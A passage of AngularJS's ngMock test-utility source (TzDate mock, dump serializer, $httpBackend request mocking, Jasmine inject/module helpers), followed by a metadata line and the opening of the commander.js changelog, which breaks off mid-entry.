padNumber(self.origDate.getUTCMilliseconds(), 3) + 'Z' } } //hide all methods not implemented in this mock that the Date prototype exposes var unimplementedMethods = ['getMilliseconds', 'getUTCDay', 'getYear', 'setDate', 'setFullYear', 'setHours', 'setMilliseconds', 'setMinutes', 'setMonth', 'setSeconds', 'setTime', 'setUTCDate', 'setUTCFullYear', 'setUTCHours', 'setUTCMilliseconds', 'setUTCMinutes', 'setUTCMonth', 'setUTCSeconds', 'setYear', 'toDateString', 'toGMTString', 'toJSON', 'toLocaleFormat', 'toLocaleString', 'toLocaleTimeString', 'toSource', 'toString', 'toTimeString', 'toUTCString', 'valueOf']; angular.forEach(unimplementedMethods, function(methodName) { self[methodName] = function() { throw Error("Method '" + methodName + "' is not implemented in the TzDate mock"); }; }); return self; }; //make "tzDateInstance instanceof Date" return true angular.mock.TzDate.prototype = Date.prototype; })(); /** * @ngdoc function * @name angular.mock.debug * @description * * *NOTE*: this is not an injectable instance, just a globally available function. * * Method for serializing common angular objects (scope, elements, etc..) into strings, useful for debugging. * * This method is also available on window, where it can be used to display objects on debug console. * * @param {*} object - any object to turn into string. * @return a serialized string of the argument */ angular.mock.dump = function(object) { return serialize(object); function serialize(object) { var out; if (angular.isElement(object)) { object = angular.element(object); out = angular.element('<div></div>'); angular.forEach(object, function(element) { out.append(angular.element(element).clone()); }); out = out.html(); } else if (angular.isArray(object)) { out = []; angular.forEach(object, function(o) { out.push(serialize(o)); }); out = '[ ' + out.join(', ') + ' ]'; } else if (angular.isObject(object)) { if (angular.isFunction(object.$eval) && angular.isFunction(object.$apply)) { out = serializeScope(object); } else if (object instanceof Error) { out = object.stack || ('' + object.name + ': ' + object.message); } else { out = angular.toJson(object, true); } } else { out = String(object); } return out; } function serializeScope(scope, offset) { offset = offset || ' '; var log = [offset + 'Scope(' + scope.$id + '): {']; for ( var key in scope ) { if (scope.hasOwnProperty(key) && !key.match(/^(\$|this)/)) { log.push(' ' + key + ': ' + angular.toJson(scope[key])); } } var child = scope.$$childHead; while(child) { log.push(serializeScope(child, offset + ' ')); child = child.$$nextSibling; } log.push('}'); return log.join('\n' + offset); } }; /** * @ngdoc object * @name angular.module.ngMock.$httpBackend * @description * Fake HTTP backend implementation suitable for unit testing application that use the * {@link angular.module.ng.$http $http service}. * * *Note*: For fake http backend implementation suitable for end-to-end testing or backend-less * development please see {@link angular.module.ngMockE2E.$httpBackend e2e $httpBackend mock}. * * During unit testing, we want our unit tests to run quickly and have no external dependencies so * we don’t want to send {@link https://developer.mozilla.org/en/xmlhttprequest XHR} or * {@link http://en.wikipedia.org/wiki/JSONP JSONP} requests to a real server. All we really need is * to verify whether a certain request has been sent or not, or alternatively just let the * application make requests, respond with pre-trained responses and assert that the end result is * what we expect it to be. * * This mock implementation can be used to respond with static or dynamic responses via the * `expect` and `when` apis and their shortcuts (`expectGET`, `whenPOST`, etc). * * When an Angular application needs some data from a server, it calls the $http service, which * sends the request to a real server using $httpBackend service. With dependency injection, it is * easy to inject $httpBackend mock (which has the same API as $httpBackend) and use it to verify * the requests and respond with some testing data without sending a request to real server. * * There are two ways to specify what test data should be returned as http responses by the mock * backend when the code under test makes http requests: * * - `$httpBackend.expect` - specifies a request expectation * - `$httpBackend.when` - specifies a backend definition * * * # Request Expectations vs Backend Definitions * * Request expectations provide a way to make assertions about requests made by the application and * to define responses for those requests. The test will fail if the expected requests are not made * or they are made in the wrong order. * * Backend definitions allow you to define a fake backend for your application which doesn't assert * if a particular request was made or not, it just returns a trained response if a request is made. * The test will pass whether or not the request gets made during testing. * * * <table class="table"> * <tr><th width="220px"></th><th>Request expectations</th><th>Backend definitions</th></tr> * <tr> * <th>Syntax</th> * <td>.expect(...).respond(...)</td> * <td>.when(...).respond(...)</td> * </tr> * <tr> * <th>Typical usage</th> * <td>strict unit tests</td> * <td>loose (black-box) unit testing</td> * </tr> * <tr> * <th>Fulfills multiple requests</th> * <td>NO</td> * <td>YES</td> * </tr> * <tr> * <th>Order of requests matters</th> * <td>YES</td> * <td>NO</td> * </tr> * <tr> * <th>Request required</th> * <td>YES</td> * <td>NO</td> * </tr> * <tr> * <th>Response required</th> * <td>optional (see below)</td> * <td>YES</td> * </tr> * </table> * * In cases where both backend definitions and request expectations are specified during unit * testing, the request expectations are evaluated first. * * If a request expectation has no response specified, the algorithm will search your backend * definitions for an appropriate response. * * If a request didn't match any expectation or if the expectation doesn't have the response * defined, the backend definitions are evaluated in sequential order to see if any of them match * the request. The response from the first matched definition is returned. * * * # Flushing HTTP requests * * The $httpBackend used in production, always responds to requests with responses asynchronously. * If we preserved this behavior in unit testing, we'd have to create async unit tests, which are * hard to write, follow and maintain. At the same time the testing mock, can't respond * synchronously because that would change the execution of the code under test. For this reason the * mock $httpBackend has a `flush()` method, which allows the test to explicitly flush pending * requests and thus preserving the async api of the backend, while allowing the test to execute * synchronously. * * * # Unit testing with mock $httpBackend * * <pre> // controller function MyController($scope, $http) { $http.get('/auth.py').success(function(data) { $scope.user = data; }); this.saveMessage = function(message) { $scope.status = 'Saving...'; $http.post('/add-msg.py', message).success(function(response) { $scope.status = ''; }).error(function() { $scope.status = 'ERROR!'; }); }; } // testing controller var $http; beforeEach(inject(function($injector) { $httpBackend = $injector.get('$httpBackend'); // backend definition common for all tests $httpBackend.when('GET', '/auth.py').respond({userId: 'userX'}, {'A-Token': 'xxx'}); })); afterEach(function() { $httpBackend.verifyNoOutstandingExpectation(); $httpBackend.verifyNoOutstandingRequest(); }); it('should fetch authentication token', function() { $httpBackend.expectGET('/auth.py'); var controller = scope.$new(MyController); $httpBackend.flush(); }); it('should send msg to server', function() { // now you don’t care about the authentication, but // the controller will still send the request and // $httpBackend will respond without you having to // specify the expectation and response for this request $httpBackend.expectPOST('/add-msg.py', 'message content').respond(201, ''); var controller = scope.$new(MyController); $httpBackend.flush(); controller.saveMessage('message content'); expect(controller.status).toBe('Saving...'); $httpBackend.flush(); expect(controller.status).toBe(''); }); it('should send auth header', function() { $httpBackend.expectPOST('/add-msg.py', undefined, function(headers) { // check if the header was send, if it wasn't the expectation won't // match the request and the test will fail return headers['Authorization'] == 'xxx'; }).respond(201, ''); var controller = scope.$new(MyController); controller.saveMessage('whatever'); $httpBackend.flush(); }); </pre> */ angular.mock.$HttpBackendProvider = function() { this.$get = [createHttpBackendMock]; }; /** * General factory function for $httpBackend mock. * Returns instance for unit testing (when no arguments specified): * - passing through is disabled * - auto flushing is disabled * * Returns instance for e2e testing (when `$delegate` and `$browser` specified): * - passing through (delegating request to real backend) is enabled * - auto flushing is enabled * * @param {Object=} $delegate Real $httpBackend instance (allow passing through if specified) * @param {Object=} $browser Auto-flushing enabled if specified * @return {Object} Instance of $httpBackend mock */ function createHttpBackendMock($delegate, $browser) { var definitions = [], expectations = [], responses = [], responsesPush = angular.bind(responses, responses.push); function createResponse(status, data, headers) { if (angular.isFunction(status)) return status; return function() { return angular.isNumber(status) ? [status, data, headers] : [200, status, data]; }; } // TODO(vojta): change params to: method, url, data, headers, callback function $httpBackend(method, url, data, callback, headers) { var xhr = new MockXhr(), expectation = expectations[0], wasExpected = false; function prettyPrint(data) { return (angular.isString(data) || angular.isFunction(data) || data instanceof RegExp) ? data : angular.toJson(data); } if (expectation && expectation.match(method, url)) { if (!expectation.matchData(data)) throw Error('Expected ' + expectation + ' with different data\n' + 'EXPECTED: ' + prettyPrint(expectation.data) + '\nGOT: ' + data); if (!expectation.matchHeaders(headers)) throw Error('Expected ' + expectation + ' with different headers\n' + 'EXPECTED: ' + prettyPrint(expectation.headers) + '\nGOT: ' + prettyPrint(headers)); expectations.shift(); if (expectation.response) { responses.push(function() { var response = expectation.response(method, url, data, headers); xhr.$$respHeaders = response[2]; callback(response[0], response[1], xhr.getAllResponseHeaders()); }); return; } wasExpected = true; } var i = -1, definition; while ((definition = definitions[++i])) { if (definition.match(method, url, data, headers || {})) { if (definition.response) { // if $browser specified, we do auto flush all requests ($browser ? $browser.defer : responsesPush)(function() { var response = definition.response(method, url, data, headers); xhr.$$respHeaders = response[2]; callback(response[0], response[1], xhr.getAllResponseHeaders()); }); } else if (definition.passThrough) { $delegate(method, url, data, callback, headers); } else throw Error('No response defined !'); return; } } throw wasExpected ? Error('No response defined !') : Error('Unexpected request: ' + method + ' ' + url + '\n' + (expectation ? 'Expected ' + expectation : 'No more request expected')); } /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#when * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new backend definition. * * @param {string} method HTTP method. * @param {string|RegExp} url HTTP url. * @param {(string|RegExp)=} data HTTP request body. * @param {(Object|function(Object))=} headers HTTP headers or function that receives http header * object and returns true if the headers match the current definition. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. * * - respond – `{function([status,] data[, headers])|function(function(method, url, data, headers)}` * – The respond method takes a set of static data to be returned or a function that can return * an array containing response status (number), response data (string) and response headers * (Object). */ $httpBackend.when = function(method, url, data, headers) { var definition = new MockHttpExpectation(method, url, data, headers), chain = { respond: function(status, data, headers) { definition.response = createResponse(status, data, headers); } }; if ($browser) { chain.passThrough = function() { definition.passThrough = true; }; } definitions.push(definition); return chain; }; /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#whenGET * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new backend definition for GET requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @param {(Object|function(Object))=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#whenHEAD * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new backend definition for HEAD requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @param {(Object|function(Object))=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#whenDELETE * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new backend definition for DELETE requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @param {(Object|function(Object))=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#whenPOST * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new backend definition for POST requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @param {(string|RegExp)=} data HTTP request body. * @param {(Object|function(Object))=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#whenPUT * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new backend definition for PUT requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @param {(string|RegExp)=} data HTTP request body. * @param {(Object|function(Object))=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#whenJSONP * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new backend definition for JSONP requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ createShortMethods('when'); /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#expect * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new request expectation. * * @param {string} method HTTP method. * @param {string|RegExp} url HTTP url. * @param {(string|RegExp)=} data HTTP request body. * @param {(Object|function(Object))=} headers HTTP headers or function that receives http header * object and returns true if the headers match the current expectation. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. * * - respond – `{function([status,] data[, headers])|function(function(method, url, data, headers)}` * – The respond method takes a set of static data to be returned or a function that can return * an array containing response status (number), response data (string) and response headers * (Object). */ $httpBackend.expect = function(method, url, data, headers) { var expectation = new MockHttpExpectation(method, url, data, headers); expectations.push(expectation); return { respond: function(status, data, headers) { expectation.response = createResponse(status, data, headers); } }; }; /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#expectGET * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new request expectation for GET requests. For more info see `expect()`. * * @param {string|RegExp} url HTTP url. * @param {Object=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. See #expect for more info. */ /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#expectHEAD * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new request expectation for HEAD requests. For more info see `expect()`. * * @param {string|RegExp} url HTTP url. * @param {Object=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#expectDELETE * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new request expectation for DELETE requests. For more info see `expect()`. * * @param {string|RegExp} url HTTP url. * @param {Object=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#expectPOST * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new request expectation for POST requests. For more info see `expect()`. * * @param {string|RegExp} url HTTP url. * @param {(string|RegExp)=} data HTTP request body. * @param {Object=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#expectPUT * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new request expectation for PUT requests. For more info see `expect()`. * * @param {string|RegExp} url HTTP url. * @param {(string|RegExp)=} data HTTP request body. * @param {Object=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#expectJSONP * @methodOf angular.module.ngMock.$httpBackend * @description * Creates a new request expectation for JSONP requests. For more info see `expect()`. * * @param {string|RegExp} url HTTP url. * @returns {requestHandler} Returns an object with `respond` method that control how a matched * request is handled. */ createShortMethods('expect'); /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#flush * @methodOf angular.module.ngMock.$httpBackend * @description * Flushes all pending requests using the trained responses. * * @param {number=} count Number of responses to flush (in the order they arrived). If undefined, * all pending requests will be flushed. If there are no pending requests when the flush method * is called an exception is thrown (as this typically a sign of programming error). */ $httpBackend.flush = function(count) { if (!responses.length) throw Error('No pending request to flush !'); if (angular.isDefined(count)) { while (count--) { if (!responses.length) throw Error('No more pending request to flush !'); responses.shift()(); } } else { while (responses.length) { responses.shift()(); } } $httpBackend.verifyNoOutstandingExpectation(); }; /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#verifyNoOutstandingExpectation * @methodOf angular.module.ngMock.$httpBackend * @description * Verifies that all of the requests defined via the `expect` api were made. If any of the * requests were not made, verifyNoOutstandingExpectation throws an exception. * * Typically, you would call this method following each test case that asserts requests using an * "afterEach" clause. * * <pre> * afterEach($httpBackend.verifyExpectations); * </pre> */ $httpBackend.verifyNoOutstandingExpectation = function() { if (expectations.length) { throw Error('Unsatisfied requests: ' + expectations.join(', ')); } }; /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#verifyNoOutstandingRequest * @methodOf angular.module.ngMock.$httpBackend * @description * Verifies that there are no outstanding requests that need to be flushed. * * Typically, you would call this method following each test case that asserts requests using an * "afterEach" clause. * * <pre> * afterEach($httpBackend.verifyNoOutstandingRequest); * </pre> */ $httpBackend.verifyNoOutstandingRequest = function() { if (responses.length) { throw Error('Unflushed requests: ' + responses.length); } }; /** * @ngdoc method * @name angular.module.ngMock.$httpBackend#resetExpectations * @methodOf angular.module.ngMock.$httpBackend * @description * Resets all request expectations, but preserves all backend definitions. Typically, you would * call resetExpectations during a multiple-phase test when you want to reuse the same instance of * $httpBackend mock. */ $httpBackend.resetExpectations = function() { expectations.length = 0; responses.length = 0; }; return $httpBackend; function createShortMethods(prefix) { angular.forEach(['GET', 'DELETE', 'JSONP'], function(method) { $httpBackend[prefix + method] = function(url, headers) { return $httpBackend[prefix](method, url, undefined, headers) } }); angular.forEach(['PUT', 'POST'], function(method) { $httpBackend[prefix + method] = function(url, data, headers) { return $httpBackend[prefix](method, url, data, headers) } }); } } function MockHttpExpectation(method, url, data, headers) { this.data = data; this.headers = headers; this.match = function(m, u, d, h) { if (method != m) return false; if (!this.matchUrl(u)) return false; if (angular.isDefined(d) && !this.matchData(d)) return false; if (angular.isDefined(h) && !this.matchHeaders(h)) return false; return true; }; this.matchUrl = function(u) { if (!url) return true; if (angular.isFunction(url.test)) return url.test(u); return url == u; }; this.matchHeaders = function(h) { if (angular.isUndefined(headers)) return true; if (angular.isFunction(headers)) return headers(h); return angular.equals(headers, h); }; this.matchData = function(d) { if (angular.isUndefined(data)) return true; if (data && angular.isFunction(data.test)) return data.test(d); if (data && !angular.isString(data)) return angular.toJson(data) == d; return data == d; }; this.toString = function() { return method + ' ' + url; }; } function MockXhr() { // hack for testing $http, $httpBackend MockXhr.$$lastInstance = this; this.open = function(method, url, async) { this.$$method = method; this.$$url = url; this.$$async = async; this.$$reqHeaders = {}; this.$$respHeaders = {}; }; this.send = function(data) { this.$$data = data; }; this.setRequestHeader = function(key, value) { this.$$reqHeaders[key] = value; }; this.getResponseHeader = function(name) { // the lookup must be case insensitive, that's why we try two quick lookups and full scan at last var header = this.$$respHeaders[name]; if (header) return header; name = angular.lowercase(name); header = this.$$respHeaders[name]; if (header) return header; header = undefined; angular.forEach(this.$$respHeaders, function(headerVal, headerName) { if (!header && angular.lowercase(headerName) == name) header = headerVal; }); return header; }; this.getAllResponseHeaders = function() { var lines = []; angular.forEach(this.$$respHeaders, function(value, key) { lines.push(key + ': ' + value); }); return lines.join('\n'); }; this.abort = angular.noop; } /** * @ngdoc overview * @name angular.module.ngMock * @description * * The `ngMock` is an angular module which is used with `ng` module and adds unit-test configuration as well as useful * mocks to the {@link angular.module.AUTO.$injector $injector}. */ angular.module('ngMock', ['ng']).provider({ $browser: angular.mock.$BrowserProvider, $exceptionHandler: angular.mock.$ExceptionHandlerProvider, $log: angular.mock.$LogProvider, $httpBackend: angular.mock.$HttpBackendProvider }); /** * @ngdoc overview * @name angular.module.ngMockE2E * @description * * The `ngMockE2E` is an angular module which contains mocks suitable for end-to-end testing. * Currently there is only one mock present in this module - * the {@link angular.module.ngMockE2E.$httpBackend e2e $httpBackend} mock. */ angular.module('ngMockE2E', ['ng']).config(function($provide) { $provide.decorator('$httpBackend', angular.mock.e2e.$httpBackendDecorator); }); /** * @ngdoc object * @name angular.module.ngMockE2E.$httpBackend * @description * Fake HTTP backend implementation suitable for end-to-end testing or backend-less development of * applications that use the {@link angular.module.ng.$http $http service}. * * *Note*: For fake http backend implementation suitable for unit testing please see * {@link angular.module.ngMock.$httpBackend unit-testing $httpBackend mock}. * * This implementation can be used to respond with static or dynamic responses via the `when` api * and its shortcuts (`whenGET`, `whenPOST`, etc) and optionally pass through requests to the * real $httpBackend for specific requests (e.g. to interact with certain remote apis or to fetch * templates from a webserver). * * As opposed to unit-testing, in an end-to-end testing scenario or in scenario when an application * is being developed with the real backend api replaced with a mock, it is often desirable for * certain category of requests to bypass the mock and issue a real http request (e.g. to fetch * templates or static files from the webserver). To configure the backend with this behavior * use the `passThrough` request handler of `when` instead of `respond`. * * Additionally, we don't want to manually have to flush mocked out requests like we do during unit * testing. For this reason the e2e $httpBackend automatically flushes mocked out requests * automatically, closely simulating the behavior of the XMLHttpRequest object. * * To setup the application to run with this http backend, you have to create a module that depends * on the `ngMockE2E` and your application modules and defines the fake backend: * * <pre> * myAppDev = angular.module('myAppDev', ['myApp', 'ngMockE2E']); * myAppDev.run(function($httpBackend) { * phones = [{name: 'phone1'}, {name: 'phone2'}]; * * // returns the current list of phones * $httpBackend.whenGET('/phones').respond(phones); * * // adds a new phone to the phones array * $httpBackend.whenPOST('/phones').respond(function(method, url, data) { * phones.push(angular.fromJSON(data)); * }); * $httpBackend.whenGET(/^\/templates\//).passThrough(); * //... * }); * </pre> * * Afterwards, bootstrap your app with this new module. */ /** * @ngdoc method * @name angular.module.ngMockE2E.$httpBackend#when * @methodOf angular.module.ngMockE2E.$httpBackend * @description * Creates a new backend definition. * * @param {string} method HTTP method. * @param {string|RegExp} url HTTP url. * @param {(string|RegExp)=} data HTTP request body. * @param {(Object|function(Object))=} headers HTTP headers or function that receives http header * object and returns true if the headers match the current definition. * @returns {requestHandler} Returns an object with `respond` and `passThrough` methods that * control how a matched request is handled. * * - respond – `{function([status,] data[, headers])|function(function(method, url, data, headers)}` * – The respond method takes a set of static data to be returned or a function that can return * an array containing response status (number), response data (string) and response headers * (Object). * - passThrough – `{function()}` – Any request matching a backend definition with `passThrough` * handler, will be pass through to the real backend (an XHR request will be made to the * server. */ /** * @ngdoc method * @name angular.module.ngMockE2E.$httpBackend#whenGET * @methodOf angular.module.ngMockE2E.$httpBackend * @description * Creates a new backend definition for GET requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @param {(Object|function(Object))=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` and `passThrough` methods that * control how a matched request is handled. */ /** * @ngdoc method * @name angular.module.ngMockE2E.$httpBackend#whenHEAD * @methodOf angular.module.ngMockE2E.$httpBackend * @description * Creates a new backend definition for HEAD requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @param {(Object|function(Object))=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` and `passThrough` methods that * control how a matched request is handled. */ /** * @ngdoc method * @name angular.module.ngMockE2E.$httpBackend#whenDELETE * @methodOf angular.module.ngMockE2E.$httpBackend * @description * Creates a new backend definition for DELETE requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @param {(Object|function(Object))=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` and `passThrough` methods that * control how a matched request is handled. */ /** * @ngdoc method * @name angular.module.ngMockE2E.$httpBackend#whenPOST * @methodOf angular.module.ngMockE2E.$httpBackend * @description * Creates a new backend definition for POST requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @param {(string|RegExp)=} data HTTP request body. * @param {(Object|function(Object))=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` and `passThrough` methods that * control how a matched request is handled. */ /** * @ngdoc method * @name angular.module.ngMockE2E.$httpBackend#whenPUT * @methodOf angular.module.ngMockE2E.$httpBackend * @description * Creates a new backend definition for PUT requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @param {(string|RegExp)=} data HTTP request body. * @param {(Object|function(Object))=} headers HTTP headers. * @returns {requestHandler} Returns an object with `respond` and `passThrough` methods that * control how a matched request is handled. */ /** * @ngdoc method * @name angular.module.ngMockE2E.$httpBackend#whenJSONP * @methodOf angular.module.ngMockE2E.$httpBackend * @description * Creates a new backend definition for JSONP requests. For more info see `when()`. * * @param {string|RegExp} url HTTP url. * @returns {requestHandler} Returns an object with `respond` and `passThrough` methods that * control how a matched request is handled. */ angular.mock.e2e = {}; angular.mock.e2e.$httpBackendDecorator = ['$delegate', '$browser', createHttpBackendMock]; window.jstestdriver && (function(window) { /** * Global method to output any number of objects into JSTD console. Useful for debugging. */ window.dump = function() { var args = []; angular.forEach(arguments, function(arg) { args.push(angular.mock.dump(arg)); }); jstestdriver.console.log.apply(jstestdriver.console, args); if (window.console) { window.console.log.apply(window.console, args); } }; })(window); window.jasmine && (function(window) { function getCurrentSpec() { return jasmine.getEnv().currentSpec; } function isSpecRunning() { var spec = getCurrentSpec(); return spec && spec.queue.running; } /** * @ngdoc function * @name angular.mock.module * @description * * *NOTE*: This is function is also published on window for easy access.<br> * *NOTE*: Only available with {@link http://pivotal.github.com/jasmine/ jasmine}. * * This function registers a module configuration code. It collects the configuration information * which will be used when the injector is created by {@link angular.mock.inject inject}. * * See {@link angular.mock.inject inject} for usage example * * @param {...(string|Function)} fns any number of modules which are represented as string * aliases or as anonymous module initialization functions. The modules are used to * configure the injector. The 'ng' and 'ngMock' modules are automatically loaded. */ window.module = angular.mock.module = function() { var moduleFns = Array.prototype.slice.call(arguments, 0); return isSpecRunning() ? workFn() : workFn; ///////////////////// function workFn() { var spec = getCurrentSpec(); if (spec.$injector) { throw Error('Injector already created, can not register a module!'); } else { var modules = spec.$modules || (spec.$modules = []); angular.forEach(moduleFns, function(module) { modules.push(module); }); } } }; /** * @ngdoc function * @name angular.mock.inject * @description * * *NOTE*: This is function is also published on window for easy access.<br> * *NOTE*: Only available with {@link http://pivotal.github.com/jasmine/ jasmine}. * * The inject function wraps a function into an injectable function. The inject() creates new * instance of {@link angular.module.AUTO.$injector $injector} per test, which is then used for * resolving references. * * See also {@link angular.mock.module module} * * Example of what a typical jasmine tests looks like with the inject method. * <pre> * * angular.module('myApplicationModule', []) * .value('mode', 'app') * .value('version', 'v1.0.1'); * * * describe('MyApp', function() { * * // You need to load modules that you want to test, * // it loads only the "ng" module by default. * beforeEach(module('myApplicationModule')); * * * // inject() is used to inject arguments of all given functions * it('should provide a version', inject(function(mode, version) { * expect(version).toEqual('v1.0.1'); * expect(mode).toEqual('app'); * })); * * * // The inject and module method can also be used inside of the it or beforeEach * it('should override a version and test the new version is injected', function() { * // module() takes functions or strings (module aliases) * module(function($provide) { * $provide.value('version', 'overridden'); // override version here * }); * * inject(function(version) { * expect(version).toEqual('overridden'); * }); * )); * }); * * </pre> * * @param {...Function} fns any number of functions which will be injected using the injector. */ window.inject = angular.mock.inject = function() { var blockFns = Array.prototype.slice.call(arguments, 0); var stack = new Error('Declaration Location').stack; return isSpecRunning() ? workFn() : workFn; ///////////////////// function workFn() { var spec = getCurrentSpec(); var modules = spec.$modules || []; modules.unshift('ngMock'); modules.unshift('ng'); var injector = spec.$injector; if (!injector) { injector = spec.$injector = angular.injector(modules); } for(var i = 0, ii = blockFns.length; i < ii; i++) { try { injector.invoke(blockFns[i] || angular.noop, this); } catch (e) { if(e.stack) e.stack += '\n' + stack; throw e; } } } } })(window);
{ "pile_set_name": "Github" }
2.17.1 / 2018-08-07 ================== * Fix bug in command emit (#844) 2.17.0 / 2018-08-03 ================== * fixed newline output after help information (#833) * Fix to emit the action even without command (#778) * npm update (#823) 2.16.0 / 2018-06-29 ================== * Remove Makefile and `test/run` (#821) * Make 'npm test' run on Windows (#820) * Add badge to display install size (#807) * chore: cache node_modules (#814) * chore: remove Node.js 4 (EOL), add Node.js 10 (#813) * fixed typo in readme (#812) * Fix types (#804) * Update eslint to resolve vulnerabilities in lodash (#799) * updated readme with custom event listeners. (#791) * fix tests (#794) 2.15.0 / 2018-03-07 ================== * Update downloads badge to point to graph of downloads over time instead of duplicating link to npm * Arguments description 2.14.1 / 2018-02-07 ================== * Fix typing of help function 2.14.0 / 2018-02-05 ================== * only register the option:version event once * Fixes issue #727: Passing empty string for option on command is set to undefined * enable eqeqeq rule * resolves #754 add linter configuration to project * resolves #560 respect custom name for version option * document how to override the version flag * document using options per command 2.13.0 / 2018-01-09 ================== * Do not print default for --no- * remove trailing spaces in command help * Update CI's Node.js to LTS and latest version * typedefs: Command and Option types added to commander namespace 2.12.2 / 2017-11-28 ================== * fix: typings are not shipped 2.12.1 / 2017-11-23 ================== * Move @types/node to dev dependency 2.12.0 / 2017-11-22 ================== * add attributeName() method to Option objects * Documentation updated for options with --no prefix * typings: `outputHelp` takes a string as the first parameter * typings: use overloads * feat(typings): update to match js api * Print default value in option help * Fix translation error * Fail when using same command and alias (#491) * feat(typings): add help callback * fix bug when description is add after command with options (#662) * Format js code * Rename History.md to CHANGELOG.md (#668) * feat(typings): add typings to support TypeScript (#646) * use current node 2.11.0 / 2017-07-03 ================== * Fix help section order and padding (#652) * feature: support for signals to subcommands (#632) * Fixed #37, --help should not display first (#447) * Fix translation errors. (#570) * Add package-lock.json * Remove engines * Upgrade package version * Prefix events to prevent conflicts between commands and options (#494) * Removing dependency on graceful-readlink * Support setting name in #name function and make it chainable * Add .vscode directory to .gitignore (Visual Studio Code metadata) * Updated link to ruby commander in readme files 2.10.0 / 2017-06-19 ================== * Update .travis.yml. drop support for older node.js versions. * Fix require arguments in README.md * On SemVer you do not start from 0.0.1 * Add missing semi colon in readme * Add save param to npm install * node v6 travis test * Update Readme_zh-CN.md * Allow literal '--' to be passed-through as an argument * Test subcommand alias help * link build badge to master branch * Support the alias of Git style sub-command * added keyword commander for better search result on npm * Fix Sub-Subcommands * test node.js stable * Fixes TypeError when a command has an option called `--description` * Update README.md to make it beginner friendly and elaborate on the difference between angled and square brackets. * Add chinese Readme file 2.9.0 / 2015-10-13 ================== * Add option `isDefault` to set default subcommand #415 @Qix- * Add callback to allow filtering or post-processing of help text #434 @djulien * Fix `undefined` text in help information close #414 #416 @zhiyelee 2.8.1 / 2015-04-22 ================== * Back out `support multiline description` Close #396 #397 2.8.0 / 2015-04-07 ================== * Add `process.execArg` support, execution args like `--harmony` will be passed to sub-commands #387 @DigitalIO @zhiyelee * Fix bug in Git-style sub-commands #372 @zhiyelee * Allow commands to be hidden from help #383 @tonylukasavage * When git-style sub-commands are in use, yet none are called, display help #382 @claylo * Add ability to specify arguments syntax for top-level command #258 @rrthomas * Support multiline descriptions #208 @zxqfox 2.7.1 / 2015-03-11 ================== * Revert #347 (fix collisions when option and first arg have same name) which causes a bug in #367. 2.7.0 / 2015-03-09 ================== * Fix git-style bug when installed globally. Close #335 #349 @zhiyelee * Fix collisions when option and first arg have same name. Close #346 #347 @tonylukasavage * Add support for camelCase on `opts()`. Close #353 @nkzawa * Add node.js 0.12 and io.js to travis.yml * Allow RegEx options. #337 @palanik * Fixes exit code when sub-command failing. Close #260 #332 @pirelenito * git-style `bin` files in $PATH make sense. Close #196 #327 @zhiyelee 2.6.0 / 2014-12-30 ================== * added `Command#allowUnknownOption` method. Close #138 #318 @doozr @zhiyelee * Add application description to the help msg. Close #112 @dalssoft 2.5.1 / 2014-12-15 ================== * fixed 